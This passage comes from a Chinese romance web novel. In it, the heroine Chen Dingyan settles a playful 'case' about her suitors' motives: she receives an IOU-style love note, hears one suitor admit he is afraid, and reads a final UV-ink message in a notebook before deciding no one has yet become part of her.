“凡恩本来打算消失的,因为你存在,所以他准备继续存在下去。高中的时候是这样,我们重逢的时候还是这样。这个大概叫动机吧。” 【他是通过她认识自己,接纳自己的,所以她也算是他的一部分。】 陈定言获得了答案,推开他的手:“知道了,谢谢。” 薛繁恩:“……” 他说错什么话了吗?为什么突然推开他?果然他还是不应该说第二人格的好话吧,早知道他应该趁机偷偷在她面前诋毁凡恩的。 陈定言不知道该不该去找裴宿献。 毕竟裴宿献自己非不承认。 她思虑再三还是决定去一趟。既然都审问了三个人,也不差这一个。 裴宿献仍然在医院里,他也恢复得差不多了。 裴宿献看到她,没等她开口,就打断了她:“别说话。” 陈定言:“……” 这个人真的很糟糕,好想打他一顿。 裴宿献从手边拿出一张草拟好的欠条,带着命令的语气道:“签字。” 陈定言拉近距离瞅了一眼,发现欠债人是裴宿献,而她才是放债人。 “奇怪了,明明你写的是你欠我, 怎么表现出来一副我欠你债的样子?” 裴宿献闭上眼:“你让让我吧。” 【最初是她遮掩保护了他的自尊,现在他完全抛弃自己的自尊,走向她。】 “裴宿献的宿命就是献给陈定言。”陈定言皱着眉毛硬着头皮念出欠条上的文字。 “小叔叔,你怎么会那么老土?你会不会写情书?”她吐槽道。 “谁说这是情书。”裴宿献忍耐着眼前这个小辈的不敬。 陈定言火上浇油:“我很会写情书,用各种密码都可以写,你要不要拜托我写一份?” 裴宿献忍无可忍,忽然向她发难:“你给多少人写过情书?” 陈定言立刻投降了:“不是,我真的是代写!” …… 陈定言郁闷地拿着那张欠条回到家里。 裴勉知审问道:“不是说去见孟行霄的吗?为什么那么晚回来?” 她摸了摸脸颊,语气抱歉地道:“所有人都见了一遍。” 裴勉知脸色青了:“……” 不用她解释,他就知道她口中的“所有人”是谁。 虽然游戏规则他自己也清楚,但真正到了实施的时候,他还是无法释怀。 ……她怎么会有那么多暧昧对象的。 真是糟糕透顶了。 陈定言故意在裴勉知面前叹气:“这个游戏结束了,我觉得我这样拖着大家也不好,我现在既然已经搞清楚动机了,明天我就去买戒指,向你们中的某个人求婚。” 果然,裴勉知的脸色更黑了。 “我宁可你像现在这样,不要对任何一个人动心。”他咬着后槽牙道。 她双手抱臂:“我说要向你们中的某个人求婚,你害怕?” 裴勉知却没有退缩,注视着她回答道:“我害怕。” 陈定言觉得他的眼神让她有点发慌。 她找了个借口,窜回房间。 好复杂,好麻烦,好头疼。 这个悬案一点都不好玩。 拉开抽屉,陈定言又翻到了梁天时寄给她的那本记事簿,突然想起今天的解谜应该到最后一页了。 她翻到记事簿的最后一页,用紫外线笔照了一下。 【我的个人事务已经解决了,按照约定好的,当你看完这一页,明天我就会来找你。谢谢你让我重获新生。——梁天时】 她有些怔怔的,突然想到: 人类的爱必然是和自己联系在一起的,所以“爱”这种东西,就是在交往中不断改变对方的人生,直到成为对方的一部分,这样才变成了难以割舍的爱。 这就是“骨中的骨,肉中的肉”。 完蛋了。 这么一测试,她发现她有可能真的是性冷淡。 因为她发现至今为止还没有一个人成为她的一部分。她完整、饱满的自我不需要任何人来改变。 算了,那就继续睡觉吧。 悬案解决了。 Caseclosed。